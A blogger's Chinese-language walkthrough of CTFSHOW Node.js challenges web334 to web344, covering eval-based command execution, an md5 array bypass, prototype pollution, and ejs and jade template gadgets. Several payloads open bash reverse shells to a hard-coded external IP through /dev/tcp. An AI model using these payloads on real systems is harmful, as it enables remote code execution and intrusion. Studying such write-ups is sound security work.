March 2, 2023

CTFSHOW-NodeJS

web334(基础)

给了2个源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
var express = require('express');
var router = express.Router();
var users = require('../modules/user').items;

var findUser = function(name, password){
return users.find(function(item){
return name!=='CTFSHOW' && item.username === name.toUpperCase() && item.password === password;
});
};

/* GET home page. */
router.post('/', function(req, res, next) {
res.type('html');
var flag='flag_here';
var sess = req.session;
var user = findUser(req.body.username, req.body.password);

if(user){
req.session.regenerate(function(err) {
if(err){
return res.json({ret_code: 2, ret_msg: '登录失败'});
}

req.session.loginUser = user.username;
res.json({ret_code: 0, ret_msg: '登录成功',ret_flag:flag});
});
}else{
res.json({ret_code: 1, ret_msg: '账号或密码错误'});
}

});

module.exports = router;

1
2
3
4
5
module.exports = {
items: [
{username: 'CTFSHOW', password: '123456'}
]
};

关键逻辑在于:return name!=='CTFSHOW' && item.username === name.toUpperCase() && item.password === password;
对不起这句话眼瞎了,我以为就是个简单的判断逻辑,其实就直接ctfshow就行了呜呜呜呜,我好笨

web335(RCE无过滤)

参考:
一道比较基础的Node.js的RCE
image.png
输入?eval=1回显我们1,猜测执行语句为:console.log(eval(req))
child_process核心库是直接调用我们的/bin/bash因此可以进行远程RCE

1
2
3
4
5
6
7
8
9
10
11
child_process.exec(command[, options][, callback])
const { exec } = require('node:child_process');

exec('"/path/to/test file/test.sh" arg1 arg2');
// Double quotes are used so that the space in the path is not interpreted as
// a delimiter of multiple arguments.

exec('echo "The \\$HOME variable is $HOME"');
// The $HOME variable is escaped in the first instance, but not in the second.\
----------------------------------------------------------------------
child_process.execSync(command[, options])

exec的同步和异步区别就是在于回显值,所谓异步就是不阻碍程序运行,所以自然不可能产生回显,因此这一题我们要使用的是execSync:
?eval=require('child_process').execSync('cat f*');
尝试过弹shell回来,不过无果,原因未知,应该是靶场环境问题

web336(过滤exec)

image.png
和上一题一样仍然有回显,只不过参数中exec时会回显tql,也就是说有过滤
这边在官方文档逛了一圈发现了:
child_process.spawnSync(command[, args][, options])

1
2
3
4
5
6
7
8
9
10
11
12
13
14
const { spawn } = require('node:child_process');
const ls = spawn('ls', ['-lh', '/usr']);

ls.stdout.on('data', (data) => {
console.log(`stdout: ${data}`);
});

ls.on('close', (code) => {
console.log(`child process close all stdio with code ${code}`);
});

ls.on('exit', (code) => {
console.log(`child process exited with code ${code}`);
});

看一段使用实例可以发现和execSync有些不同,我们cmd的选项参数放在了后面的列表里
所以payload为:
?eval=require('child_process').spawnSync('ls', ['-l', '.']).stdout
?eval=require('child_process').spawnSync('cat', ['fl001g.txt']).stdout
其中的stdout表示缓冲区中的内容,也就是输出结果,也可以在结尾继续追加一个toString()方法,但由于console.log把我们的数据自动解码了一下,所以可以不加

web337(Node.js数组绕过)

给了源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
var express = require('express');
var router = express.Router();
var crypto = require('crypto');

function md5(s) {
return crypto.createHash('md5')
.update(s)
.digest('hex');
}

/* GET home page. */
router.get('/', function(req, res, next) {
res.type('html');
var flag='xxxxxxx';
var a = req.query.a;
var b = req.query.b;
if(a && b && a.length===b.length && a!==b && md5(a+flag)===md5(b+flag)){
res.end(flag);
}else{
res.render('index',{ msg: 'tql'});
}

});

module.exports = router;

看到md5就下意识的联想到了PHP的数组绕过,由于php和js都是弱语言,所以这方面不严格,尝试了一下payloada[]=1&b[]=2发现无果,而输入a[]=1&b[]=1返回了flag
于是乎我就进行了以下实验:

1
2
3
4
5
6
7
a=[1];
b=[1];
console.log(a+"flag{xxx}")
console.log(b+"flag{xxx}")
console.log(a.length)
console.log(b.length)
console.log(a===b)

image.png
我们传参a[]=1&b[]=1在nodejs里实际上就是a=[1];b=[1],输出结果刚好符合条件所以输出了flag,为什么a===b返回false呢?原因是开辟的地址空间是不一样的,虽然内容一样
除了这种方法还可以输入a['x']=1&b['x']=2,这和之前的就不太一样了,前者是创建了一个数组,这个是创建了一个对象:

1
2
3
4
5
6
7
8
9
10
11
a={
"x":1
}
b={
"x":1
}
console.log(a+"flag{xxx}")
console.log(b+"flag{xxx}")
console.log(a.length)
console.log(b.length)
console.log(a===b)

image.png
同样也可以bypass

web338(原型链污染)

考点就是简单的原型链污染,把express的源码给你了
我们重点看2个文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
var express = require('express');
var router = express.Router();
var utils = require('../utils/common');



/* GET home page. */
router.post('/', require('body-parser').json(),function(req, res, next) {
res.type('html');
var flag='flag_here';
var secert = {};
var sess = req.session;
let user = {};
utils.copy(user,req.body);
if(secert.ctfshow==='36dboy'){
res.end(flag);
}else{
return res.json({ret_code: 2, ret_msg: '登录失败'+JSON.stringify(user)});
}


});

module.exports = router;

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15


module.exports = {
copy:copy
};

function copy(object1, object2){
for (let key in object2) {
if (key in object2 && key in object1) {
copy(object1[key], object2[key])
} else {
object1[key] = object2[key]
}
}
}

注意到copy方法,他会复制2个对象之间的键值对,其中有一个对象是我们所传入的参数,另一个就是user对象,任何一个对象都有一个键叫做__proto__,他是对象的原型,可以理解为父类所以在这里我们可以通过污染原型的值,给secret对象添加ctfshow属性
{"__proto__":{"ctfshow":"36dboy"}}
image.png
这里通过给原型付了一个属性,污染到了secret对象

web339(变量覆盖,[ejs rce])

先写个预期解,有点累了学node.js,先总结一下非预期和预期的异同吧
预期和非预期都是进行RCE,只是原理不同,前者是覆盖变量,后者是ejs模板渲染的漏洞
image.png
首先在login界面输入{"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/43.140.251.169/4567 0>&1\"')"}}
之后访问/api:
image.png
这样就可以触发变量覆盖,导致RCE,这也是预期解,非预期解是用payload:
{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('calc');var __tmp2"}}
outputFunctionName是ejs模块里opt对象的一个成员属性,由于他一开始未定义,所以我们可以污染原型从而污染outputFunctionName
详细复现我会在我的文章深入探讨NodeJs里复现讲解

web340(双层污染)

image.png
同样的源码也给出来了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
var express = require('express');
var router = express.Router();
var utils = require('../utils/common');



/* GET home page. */
router.post('/', require('body-parser').json(),function(req, res, next) {
res.type('html');
var flag='flag_here';
var user = new function(){
this.userinfo = new function(){
this.isVIP = false;
this.isAdmin = false;
this.isAuthor = false;
};
}
utils.copy(user.userinfo,req.body);
if(user.userinfo.isAdmin){
res.end(flag);
}else{
return res.json({ret_code: 2, ret_msg: '登录失败'});
}


});

module.exports = router;

1
2
3
4
5
6
7
8
9
function copy(object1, object2){
for (let key in object2) {
if (key in object2 && key in object1) {
copy(object1[key], object2[key])
} else {
object1[key] = object2[key]
}
}
}

这一把估计也看出了有些许不同,因为copy里面的user对象后面套了一个userinfo,我们再本地测试一下到底是哪样:

1
2
3
4
5
console.log(user.userinfo.__proto__)
console.log(user.userinfo.__proto__.__proto__)
//{}
//[Object: null prototype] {}

可以发现第一层外面是一个对象,也就是构造函数,并不是什么object,第二层才是,这也就是所谓的二层污染
我们只需要payload:{"__proto__":{"__proto__":{"isAdmin":{"isAdmin":true}}}}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
function copy(object1, object2){
for (let key in object2) {
if (key in object2 && key in object1) {
copy(object1[key], object2[key])
} else {
object1[key] = object2[key]
}
}
}
var user = new function(){
this.userinfo = new function(){
this.isVIP = false;
this.isAdmin = false;
this.isAuthor = false;
};
}
var payload='{"__proto__":{"__proto__":{"isAdmin":{"isAdmin":true}}}}'
payload=JSON.parse(payload)
console.log(user.userinfo.__proto__.__proto__)
copy(user.userinfo,payload)
console.log({}.__proto__)
//[Object: null prototype] { isAdmin: { isAdmin: true } }

可以看到污染到了object了已经,之后也是利用反弹shell去获取flag
{"__proto__":{"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/43.140.251.169/4567 0>&1\"')"}}}
image.png

web341(ejs rce污染)

这就是我们上面说的非预期,来自于ejs模板opts.OutPutFuntcion属性的污染

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
var express = require('express');
var router = express.Router();
var utils = require('../utils/common');



/* GET home page. */
router.post('/', require('body-parser').json(),function(req, res, next) {
res.type('html');
var user = new function(){
this.userinfo = new function(){
this.isVIP = false;
this.isAdmin = false;
this.isAuthor = false;
};
};
utils.copy(user.userinfo,req.body);
if(user.userinfo.isAdmin){
return res.json({ret_code: 0, ret_msg: '登录成功'});
}else{
return res.json({ret_code: 2, ret_msg: '登录失败'});
}

});

module.exports = router;

这一题源码没有给api接口,所以我们无法使用变量覆盖,这里就得用ejs污染了
{"__proto__":{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/43.140.251.169/7777 0>&1\"');var __tmp2"}}}
这里需要解释一下为什么需要用bash -c取调用反弹shell,由于我们是在外部运行shell指令,所以他默认是不会识别我们的bash -i反弹shell的,bash -c保证了命令使用bash shell去执行
image.png
还是很好理解的

web342(jade rce)

1
2
3
4
5
6
7
8
9
10
11
12
app.set('views', path.join(__dirname, 'views'));
app.engine('jade', require('jade').__express);
app.set('view engine', 'jade');

app.use(logger('dev'));
app.use(express.json());
app.use(express.urlencoded({ extended: false }));
app.use(cookieParser());
app.use(express.static(path.join(__dirname, 'public')));

app.use('/', indexRouter);
app.use('/login', loginRouter);

改动点在此处,可以发现使用的渲染引擎不再是ejs而是jade,jade的污染链也是存在的,参考:
{"__proto__":{"__proto__":{"type":"Code","self":1,"line":"global.process.mainModule.require('child_process').execSync('bash -c \" bash -i >&/dev/tcp/43.140.251.169/7777 0>&1\"')"}}}
payload与上述文章有所不同,假如按照上述文章的payload(里面没有type),会出现如下报错:
image.png
分析之后是node.type属性为undefine,所以导致报错,这边都会在文章深入探讨Nodejs分析复现
image.png
image.png
可以成功反弹shell

web343(jade rce-过滤寂寞)

payload同上都能打,好奇看了一下login.js
过滤了个寂寞:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
cat login.js
var express = require('express');
var router = express.Router();
var utils = require('../utils/common');



/* GET home page. */
router.post('/', require('body-parser').json(),function(req, res, next) {
res.type('html');
var user = new function(){
this.userinfo = new function(){
this.isVIP = false;
this.isAdmin = false;
this.isAuthor = false;
};
};
if(JSON.stringify(req.body).match(/Text/ig)){
res.end('hacker go away');
}else{
utils.copy(user.userinfo,req.body);
if(user.userinfo.isAdmin){
return res.json({ret_code: 0, ret_msg: '登录成功'});
}else{
return res.json({ret_code: 2, ret_msg: '登录失败'});
}

}


});

这个if(JSON.stringify(req.body).match(/Text/ig))意义何为

web344(node解析重名req)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
router.get('/', function(req, res, next) {
res.type('html');
var flag = 'flag_here';
if(req.url.match(/8c|2c|\,/ig)){
res.end('where is flag :)');
}
var query = JSON.parse(req.query.query);
if(query.name==='admin'&&query.password==='ctfshow'&&query.isVIP===true){
res.end(flag);
}else{
res.end('where is flag. :)');
}

});

源码逻辑已经给了,相对人性化了太多,来看看逻辑,检查了我们的url参数(编码后)不可以有8c|2c|\,,第一个是一个不可见字符,2,3表示的都是逗号,由于是get方式传参,编码必不可逃
image.png
image.png
逗号给识别出来了,既然逗号被ban了,那该怎么传递多个json参数呢?
?query={"name":"admin"&query="password":"%63tfshow"&query="isVIP":true}
对于这个请求,后端是怎么处理的呢?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
router.get('/', function(req, res, next) {
res.type('html');
var flag = 'flag_here';
console.log(req.url);
if(req.url.match(/8c|2c|\,/ig)){
res.end('where is flag :)');
}
console.log(req.query);
var query = JSON.parse(req.query.query);
console.log(query);
if(query.name==='admin'&&query.password==='ctfshow'&&query.isVIP===true){
res.end(flag);
}else{
res.end('where is flag. :)');
}

});

image.png
req.query被解析成了一个数组,之后在JSON.parse的解析下变成了对象,内容就是目标的内容,很妙!
那么为什么c要编码为%63呢?c前面有双引号为%22假如不编码就是%22c可是2c被ban了,因此得编码一下

About this Post

This post is written by Boogipop, licensed under CC BY-NC 4.0.

#CTF#刷题记录#CTFSHOW